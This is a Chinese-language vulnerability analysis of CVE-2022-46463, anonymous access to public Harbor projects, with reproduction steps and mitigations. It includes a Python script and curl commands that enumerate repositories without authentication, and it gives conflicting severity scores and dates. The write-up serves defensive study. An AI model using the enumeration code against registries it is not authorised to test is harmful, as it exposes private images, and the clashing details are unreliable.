一、漏洞简介

1.1 漏洞背景

2022年12月,安全研究人员披露了 Harbor 的镜像仓库访问控制问题。该问题涉及 Harbor 对公开和私有镜像仓库的访问控制机制,允许未经认证的用户访问部分镜像资源。

⚠️ 注意:Harbor 官方对此 CVE 有不同看法,认为这是"在文档中明确描述的功能特性"而非安全漏洞。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-46463
危害等级 HIGH / 7.5
漏洞类型 镜像仓库未授权访问漏洞
披露时间 2023-01-13
影响组件 Harbor 容器镜像仓库
属性 详情
CVE编号 CVE-2022-46463
危害等级 中危(Medium)
CVSS评分 5.3(Medium)
CVSS向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
漏洞类型 CWE-306:关键功能缺少认证
公开日期 2022年12月
<hr />

补充核验信息:公开时间:2023-01-13;NVD 评分:7.5(HIGH);CWE:CWE-306。

二、影响范围

2.1 受影响的版本

  • Harbor v1.x.x ~ v2.5.3

2.2 不受影响的版本

  • 官方认为这是设计行为,无明确"修复版本"
  • v2.6.0+ 可能包含配置增强

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 项目可见性配置:项目被设置为公开(Public)
  2. 匿名拉取:Docker 客户端未登录即可拉取镜像
  3. API 访问:部分 API 端点未强制认证
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Harbor 的项目访问级别分为: - 公开(Public):所有用户可访问 - 私有(Private):仅项目成员可访问

当项目设置为公开时,镜像拉取操作(docker pull)无需认证。但某些场景下,攻击者可能: 1. 枚举公开项目中的镜像列表 2. 通过 API 获取镜像元数据 3. 在未认证情况下拉取敏感镜像

3.2 源码层面的根因分析(结合源码与补丁对比)

访问控制逻辑

// 项目访问控制检查(伪代码)
func (p *ProjectAPI) checkAccessLevel() bool {
    project := p.getProject()

    if project.IsPublic() {
        // 公开项目允许匿名访问
        return true
    }

    // 私有项目需要认证
    return p.SecurityCtx.IsAuthenticated() &&
           p.SecurityCtx.HasProjectPermission(project.ID)
}

镜像拉取权限检查

// 镜像拉取权限(简化版)
func (ra *RepositoryAPI) CanPull(repo string) bool {
    project := getProjectFromRepo(repo)

    // 【问题点】公开项目无条件允许拉取
    if project.IsPublic() {
        return true
    }

    return ra.SecurityCtx.CanPull(repo)
}

根因分析

  1. 设计决策:公开项目的设计允许匿名访问
  2. 配置默认值:部分部署可能误将项目设为公开
  3. 文档不足:用户可能不理解公开项目的含义
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 部署 Harbor v2.5.3
wget https://github.com/goharbor/harbor/releases/download/v2.5.3/harbor-online-installer-v2.5.3.tgz
tar xzf harbor-online-installer-v2.5.3.tgz
cd harbor
./install.sh

4.2 PoC 演示与测试过程

步骤一:创建公开项目

  1. 登录 Harbor 管理界面
  2. 创建新项目,设置为"公开"访问级别
  3. 推送测试镜像到该项目

步骤二:未认证拉取镜像

# 无需登录,直接拉取公开项目镜像
docker pull harbor-server/public-project/my-image:latest

# 成功拉取镜像,无认证要求

步骤三:枚举公开镜像

# 无认证获取项目仓库列表
curl "http://harbor-server/api/v2.0/projects/public-project/repositories"

# 响应包含所有公开镜像信息

Python 枚举脚本

#!/usr/bin/env python3
"""
CVE-2022-46463 - Harbor 未授权镜像访问 PoC
用途:仅限安全研究和授权测试
"""

import requests
import json

def enumerate_public_images(harbor_url):
    """
    枚举所有公开项目的镜像
    """

    # 获取项目列表
    projects_url = f"{harbor_url}/api/v2.0/projects"
    response = requests.get(projects_url, timeout=10)

    if response.status_code != 200:
        print("[-] Failed to get projects")
        return

    projects = response.json()

    print(f"[*] Found {len(projects)} projects")

    for project in projects:
        if project.get("public", False):
            project_name = project["name"]
            print(f"\n[+] Public Project: {project_name}")

            # 获取仓库列表
            repos_url = f"{harbor_url}/api/v2.0/projects/{project_name}/repositories"
            repos_resp = requests.get(repos_url, timeout=10)

            if repos_resp.status_code == 200:
                repos = repos_resp.json()
                for repo in repos:
                    print(f"    - {repo['name']}")
                    # 获取标签
                    tags_url = f"{harbor_url}/api/v2.0/projects/{project_name}/repositories/{repo['name']}/artifacts"
                    # ...继续枚举

if __name__ == "__main__":
    enumerate_public_images("http://your-harbor-server")
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

由于官方认为这是设计特性而非漏洞,建议:

  1. 审查项目配置:确保敏感项目设置为私有
  2. 升级到最新版本:使用 v2.6.0+ 版本
  3. 配置增强:启用强制认证选项

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:修改项目访问级别

# 使用 API 将项目设置为私有
curl -X PUT "http://harbor-server/api/v2.0/projects/{project_id}" \
    -H "Content-Type: application/json" \
    -u "admin:password" \
    -d '{
        "metadata": {
            "public": "false"
        }
    }'

方案二:配置强制认证

harbor.yml 中配置:

# 限制匿名访问
allow_anonymous_access: false

方案三:网络层访问控制

# 限制 Docker Registry API 的匿名访问
# 使用 Nginx 反向代理配置
location /v2/ {
    if ($request_method = GET) {
        # 要求基本认证
        auth_basic "Registry";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }
    proxy_pass http://harbor-core;
}

方案四:审计与监控

# 定期检查公开项目
curl -s "http://harbor-server/api/v2.0/projects?public=true" \
    -u "admin:password" | jq '.[].name'
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-46463
  • GitHub Discussion: https://github.com/Vad1mo/harbor-scan-engine

6.2 其他技术参考资料

  • Disclosure Repository: https://github.com/lanqingaa/123 (已失效)
  • Harbor Documentation: https://goharbor.io/docs/
  • CWE-306 Definition: https://cwe.mitre.org/data/definitions/306.html
  • Official Stance: Harbor 团队声明该行为在文档中明确描述为功能特性